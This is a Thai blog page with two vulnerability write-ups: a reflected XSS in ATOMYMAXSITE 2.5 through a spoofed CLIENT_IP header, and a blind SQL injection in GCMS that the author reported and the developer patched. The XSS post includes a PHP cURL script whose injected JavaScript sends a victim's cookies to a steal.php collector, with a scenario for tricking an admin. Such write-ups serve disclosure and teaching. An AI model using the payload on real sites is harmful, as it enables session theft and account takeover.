หน้าเว็บ

วันอังคารที่ 24 กันยายน พ.ศ. 2556

ช่องโหว่ Reflected XSS ใน ATOMYMAXSITE 2.5

       

          สวัสดีครับทุกท่อน เมื่อเดือนที่แล้วผมได้ค้นพบช่องโหว่ LFI ใน ATOMYMAXSITE 2.5 ดังที่เขียนไว้เป็นบทความตามลิงค์นี้ LFI in Maxsite แล้วเมื่อคืนวานผมได้พบช่องโหว่ Reflected XSS อีกใน CMS ตัวนี้จึงคิดว่ามาชำแหละเป็นบทความเพื่อการศึกษาดีกว่า
          ช่องโหว่นี้เป็น Reflected XSS ครับ Reflected XSS คือช่องโหว่ที่สามารถแสดง HTML/JavaScript ออกมาทันที่เมื่อมีการ Input เข้าไป ต่างกับ Stored XSS ซึ่งมีการ Stored ลง Database แล้วต้องดึงขึ้นมาโชว์ ยกตัวอย่าง Reflected XSS อย่างง่ายคือ Input ทาง URL/ช่องค้นหา แล้วผลจะออกมาทาง Browser โดยตรง ช่องโหว่ของ Maxsite นี้เกิดจากส่วนของการ Show IP ผู้ใช้ครับตามรูปนี้

          ซึ่งในส่วนนี้จะแสดงที่หน้าแรกของเว็บครับ keyword ที่ได้คือ IP ของท่านคือ ผมเลยนำไปค้นใน source code พบว่าถูก define (ประกาศค่าคงที่) ไว้ในไฟล์ /lang/thai_utf8.php ดังโค้ดด้านล่าง
define("_COUNT_ONLINE_IP","IP ของท่านคือ");

          จะเห็นได้ว่าถูก define ด้วยค่า _COUNT_ONLINE_IP ผมเลยตามไปดูใน source code อีกครั้งพบอยู่ที่ไฟล์ /modules/block/counter.php ดังโค้ดด้านล่าง
<td width="<?=$widthSUM;?>" height="20" colspan=2 align=center colspan="2"><b><?=_COUNT_ONLINE_IP;?> <b><font color="#0066FF"><?=$IPADDRESS ?></font>

          มีการแสดงค่าของตัวแปร $IPADDRESS มีการเรียกใช้ฟังก์ชั่น get_real_ip() จากบรรทัดที่ 31 ของไฟล์ counter.php ผมก็ตามไปดูว่ามาจากไหนจึงพบว่าอยู่ในไฟล์ /includes/function.inc.php ไปดูโค้ดของฟังก์ชั่นนี้กันครับ :)

function get_real_ip(){
 $ip = false;
 if(!empty($_SERVER['HTTP_CLIENT_IP'])){
  $ip = $_SERVER['HTTP_CLIENT_IP'];
 }
 if(!empty($_SERVER['HTTP_X_FORWARDED_FOR'])){
  $ips = explode(", ", $_SERVER['HTTP_X_FORWARDED_FOR']);
  if($ip){
   array_unshift($ips, $ip);
   $ip = false;
  }
  for($i = 0; $i < count($ips); $i++){
   if(!preg_match("/^(10|172\.16|192\.168)\./i", $ips[$i])){
    if(version_compare(phpversion(), "5.0.0", ">=")){
     if(ip2long($ips[$i]) != false){
      $ip = $ips[$i];
      break;
     }
    }else{
     if(ip2long($ips[$i]) != - 1){
      $ip = $ips[$i];
      break;
     }
    }
   }
  }
 }
 return ($ip ? $ip : $_SERVER['REMOTE_ADDR']);
}

          จากบรรทัดที่ 353,354 หมายความว่าถ้าค่า $_SERVER['HTTP_CLIENT_IP'] ไม่ว่างหมายถึงมีค่า ตัวแปร $ip จะเท่ากับค่าของ $_SERVER['HTTP_CLIENT_IP'] แล้ว return ค่า $ip กลับไปครับ ผมจึงลองปลอม Header ด้วย Live HTTP Headers กับ Firefox โดยการเพิ่ม CLIENT_IP: Hacked By ICheer_No0M ซึ่งผลที่ได้ก็ตามรูปครับ


          อธิบายเรื่อง HTTP Header กันสักหน่อยคือการ Custom Header แบบนี้เป็นการสร้าง Header ขึ้นมายกตัวอย่างในโค้ด PHP มีโค้ดว่า echo $_SERVER['HTTP_HACKED']; แล้ว Client ส่ง Header ไปว่า HACKED: ICheer_No0M ผลลัพธ์ก็คือเว็บจะแสดงคำว่า ICheer_No0M ครับ ไม่งงกันนะครับ LoL
          กลับเข้าเรื่องดีกว่าจะเห็นว่า IP ของท่านคือ Hacked By ICheer_No0M แล้วถ้าผมไม่ใส่ประโยคนี้แต่ใส่เป็น HTML/Javascript ล่ะครับ ? ซึ่งผลลัพธ์ที่ได้คือ


          จากที่จะแสดง IP กลับกลายมาเป็น Alert ค่า Cookie/Session ลองจินตนาการต่อดูถ้าผมไม่ใส่แค่ Alert แต่เขียนให้ส่งไปหาไฟล์อื่นพร้อมค่า Cookie/Session ค่า Cookie/Session ของผู้ที่คลิกหรือ Admin ก็จะถูกขโมยไปพร้อมทั้งอาจโดนปลอมเป็น Admin เพื่อเข้าสู่ระบบได้ ยกตัวอย่างโค้ดที่ใช้โจมตีผมเลือกใช้ cURL นะครับเพราะ Custom Header ได้ :)
<?php
 
$ch =
curl_init("http://localhost/atomymaxsite/");
curl_setopt($ch, CURLOPT_HTTPHEADER, array(
 'User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:23.0) Gecko/20100101 Firefox/23.0',
 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
 'Accept-Language: th-th,th;q=0.8,en-us;q=0.6,en-gb;q=0.4,en;q=0.2',
 'Accept-Encoding: gzip, deflate',
 'Connection: keep-alive',
 'Cache-Control: max-age=0',
 'CLIENT_IP: <script>location.href = "http://localhost/labhack/steal.php?cookies="+document.cookie;</script>'
));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_exec($ch);
curl_close($ch);
header('Location: http://www.google.com');

?>

          เหตุการณ์สมมุติ ถ้าเราส่งโค้ดนี้ไปทางข้อความให้ Admin เว็บ แล้ว Admin เกิดคลิกเข้าไป เราก็จะได้ Cookie/Session ของ Admin คนนั้นมาได้จากการที่เราเขียนสคริปรอรับไว้ในไฟล์ steal.php ครับ
          จบการอธิบายช่องโหว่ Reflected XSS ใน ATOMYMAXSITE 2.5 :)

          ปล. เพื่อการศึกษานะครับ ,, ICheer_No0M

วันจันทร์ที่ 16 กันยายน พ.ศ. 2556

ช่องโหว่ Blind SQL Injection ใน GCMS


          สวัสดีครับ เนื่องจากวันนี้ว่างหรือไรไม่รู้เลยนั่งหาช่องโหว่จาก CMS ที่พัฒนาโดยคนไทย หลังจากที่โพสถามเพื่อนใน facebook ว่ามี CMS ไหนที่พัฒนาโดยคนไทยและใช้กันเยอะๆบ้าง LoL
          เข้าเรื่องเลยดีกว่า ช่องโหว่นี้คือช่องโหว่ Injection ที่มาเป็นอันดับ 1 ใน Top 10 ของ OWASP 2013 นั่นคือ Blind SQL Injection ครับพบในไฟล์ print.php บรรทัดที่  6-11
 // โมดูลที่ต้องการ
$module = $_GET['module'];
 // ตรวจสอบโมดูลที่เรียก
$sql = "SELECT `id`,`module`,`owner`,`config`";
$sql .= " FROM `".DB_MODULES."` AS M";
$sql .= " WHERE `module`='$module'";
$sql .= " LIMIT 1";
          ซึ่งมีการรับค่า $_GET['module']; มาจาก User มารวมกับคำสั่ง SQL ในตัวแปร $sql จึงสามารถเกิดช่องโหว่ที่ดูข้อมูลส่วนอื่นของฐานข้อมูลได้ ซึ่งการ Query เกิดจากบรรทัดที่ 14 ครับ
$modules = $db->customQuery($sql);
          ตามไปดูฟังก์ชั่น customQuery ในคลาส class.mysql.php ที่อยู่ใน /bin กันครับ
public function customQuery($sql) {
 $recArr = array();
 $query = @mysql_query($sql, $this->dbconnection);
 if ($query == false) {
  $this->debug("customQuery($sql)");
 } else {
  $_SESSION[$this->time]++;
  while ($row = mysql_fetch_array($query, MYSQL_ASSOC)) {
   $recArr[] = $row;
  }
  mysql_free_result($query);
 }
 return $recArr;
}
          การโจมตีจะเกิดขึ้นก็ต่อเมื่อมีการ Request คำสั่งที่มี  Malicious SQL Code ไปที่ URL นี้ครับ
http://localhost/gcms/print.php?module=[BSQLI]
          สังเกตบรรทัดที่ 310 จะมีการ Query คำสั่งในตัวแปร $sql ด้วยฟังก์ชั่น mysql_query ครับและมีการ return ค่าผลลัพธ์จากการ Query ที่บรรทัด 315 ด้วยฟังก์ชั่น mysql_fetch_array ครับ
          ผมได้รายงานไปทางผู้พัฒนา gcms แล้วได้รับคำขอบคุณกลับมาและผู้พัฒนาได้ทำการประกาศ patch แล้วครับตามลิงค์นี้ แจ้งข้อผิดพลาด สำหรับ GCMS
          ซึ่งได้รับการป้องกัน Blind SQL Injection ด้วยการใช้ Regular Expression ในการกรอง Input ครับ
if (preg_match('/^[a-z]+$/', $module)) {
  // ตรวจสอบโมดูลที่เรียก
 $sql = "SELECT `id`,`module`,`owner`,`config`";
 $sql .= " FROM `".DB_MODULES."` AS M";
 $sql .= " WHERE `module`='$module'";
 $sql .= " LIMIT 1";
 $modules = $cache->get($sql);
 if (!$modules) {
  $modules = $db->customQuery($sql);
  $cache->save($sql, $modules);
 }
         *ล่าสุดเจอช่องโหว่เดียวกันในไฟล์ feed.php ตั้งแต่บรรทัดที่ 7 เป็นต้นไป (21:58 น.)
$module = $_REQUEST['module'];
 // จำนวนที่ต้องการ ถ้าไม่กำหนด คืนค่า 10 รายการ
 $count = (int)$_GET['rows'] * (int)$_GET['cols'];
 $count = $count == 0 ? (int)$_GET['count'] : $count;
 $count = $count <= 0 ? 10 : $count;
 // วันที่วันนี้
 $cdate = date("D, d M Y H:i:s +0700", $mmktime);
 $today = date('Y-m-d', $mmktime);
 // ตรวจสอบโมดูลที่เรียก
 $sql = "SELECT M.`id`,M.`module`,M.`owner`,D.`topic`,D.`description`,M.`config`";
 $sql .= " FROM `".DB_INDEX."` AS I";
 $sql .= " INNER JOIN `".DB_MODULES."` AS M ON M.`id`=I.`module_id` AND M.`module`='$module'";
 $sql .= " INNER JOIN `".DB_INDEX_DETAIL."` AS D ON D.`id`=I.`id` AND D.`module_id`=I.`module_id` AND D.`language` IN ('".LANGUAGE."','')";
 $sql .= " WHERE I.`module_id`=M.`id` AND I.`index`='1' AND I.`language` IN ('".LANGUAGE."','')";
 $sql .= " AND I.`published`='1' AND I.`published_date`<='$today'";
 $sql .= " LIMIT 1";
 $modules = $db->customQuery($sql);
          สำหรับผู้ที่ใช้ GCMS อย่าลืม Patch ด้วยนะครับ ^^,, ICheer_No0M